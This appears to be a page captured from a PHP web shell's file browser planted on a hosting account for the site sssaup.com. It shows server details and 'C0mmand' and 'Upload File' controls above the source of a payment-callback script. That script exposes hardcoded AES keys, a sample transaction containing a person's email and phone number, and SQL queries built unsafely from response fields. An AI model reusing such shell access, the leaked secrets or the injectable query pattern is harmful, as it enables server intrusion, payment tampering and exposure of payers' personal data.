|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.52 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : ON Directory (0755) : /home/u490972518/domains/sssaup.com/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
include('Authentication.php');
include('link/database.php');
$query = $_REQUEST['encResponse'];
$authKey = 'GuqOerkbhVFMpVU0';
$authIV = 'Y39GW7GDUeqDKBAy';
//$authKey = 'zvMzY0UZLxkiE6ad';
//$authIV = 'iFwrtsCSw3j7HG15';
$decText = null;
$AesCipher = new AesCipher();
$decText = $AesCipher -> decrypt($authKey, $authIV, $query);
$decText;
$token = strtok($decText,"&");
$token;
$i=0;
/* response value After Decryption
payerName=YUVRAJ MISHRA&payerEmail=yuvraj.mishra@sabpaisa.in&payerMobile=7004069540&clientTxnId=1907&payerAddress=NA&amount=10.0
&clientCode=NITE5&paidAmount=10.1&paymentMode=Debit Card&bankName=BOB&amountType=INR&status=FAILED&statusCode=0300&challanNumber=null
&sabpaisaTxnId=883602112220421050&sabpaisaMessage=Sorry, Your Transaction has Failed.&bankMessage=DebitCard&bankErrorCode=null
&sabpaisaErrorCode=null&bankTxnId=101202235510088892&transDate=Wed Dec 21 16:26:28 IST 2022&udf1=NA&udf2=NA&udf3=NA&udf4=NA&udf5=NA
&udf6=NA&udf7=NA&udf8=NA&udf9=null&udf10=null&udf11=null&udf12=null&udf13=null&udf14=null&udf15=null&udf16=null&udf17=null&udf18=null
&udf19=null&udf20=nulli- */
//echo $token;
while ($token !== false)
{
$i=$i+1;
$token1=strchr($token, "=");
$token=strtok("&");
$fstr=ltrim($token1,"=");
echo "i-". $i . '='. $fstr;
echo '<br>';
//echo $fstr;
if($i==2)
$payerEmail=$fstr;
if($i==3)
$payerMobile=$fstr;
if($i==4)
$clientTxnId=$fstr;
if($i==5)
$payerAddress=$fstr;
if($i==6)
$amount=$fstr;
if($i==7)
$clientCode=$fstr;
if($i==8)
$paidAmount=$fstr;
if($i==9)
$paymentMode=$fstr;
if($i==10)
$bankName=$fstr;
if($i==11)
$amountType=$fstr;
if($i==12)
$status=$fstr;
if($i==13)
$statusCode=$fstr;
if($i==14)
$challanNumber=$fstr;
if($i==15)
$sabpaisaTxnId=$fstr;
if($i==16)
$sabpaisaMessage=$fstr;
if($i==17)
$bankMessage=$fstr;
if($i==18)
$bankErrorCode=$fstr;
if($i==19)
$sabpaisaErrorCode=$fstr;
if($i==20)
$bankTxnId=$fstr;
if($i==21)
$transDate=$fstr;
if($token == true)
{
$up = "update payment SET sabpaisaTxnId='$sabpaisaTxnId', sabpaisaMessage='$sabpaisaMessage', bankMessage='$bankMessage', bankTxnId='$bankTxnId', transDate='$transDate', paidAmount='$paidAmount', paymentMode='$paymentMode', bankName='$bankName',status='$status' WHERE clientTxnId='$clientTxnId'";
$sel="select * from payment where clientTxnId='$clientTxnId' and status='SUCCESS' ";
$res=mysqli_query($conn,$sel);
$row=mysqli_fetch_array($res,MYSQLI_BOTH);
$reg=$row['student_registration'];
$session=$row['session'];
$date=date('Y-m-d');
mysqli_query($conn,$up);
if($row)
{
$up1 = "update student SET status='Yes', paid='$paidAmount',verify_date='$date' WHERE registration_no='$reg' order by id desc";
mysqli_query($conn,$up1);
echo "<script>alert('Payment Paid Success');window.location.href='student_print.php?app=$reg';</script>";
}
else
{
echo "<script>alert('Payment Failed');window.location.href='reprint_form.php';</script>";
}
}
else
{
$up = "update payment SET sabpaisaTxnId='$sabpaisaTxnId', sabpaisaMessage='$sabpaisaMessage', bankMessage='$bankMessage', bankTxnId='$bankTxnId', transDate='$transDate', paidAmount='$paidAmount', paymentMode='$paymentMode', bankName='$bankName' WHERE clientTxnId='$clientTxnId'";
mysqli_query($conn,$up);
}
}
?>
<?php
header("Location: https://sssaup.com/reprint_form.php");
exit;
?>
<?php
// include('footer.php');
?>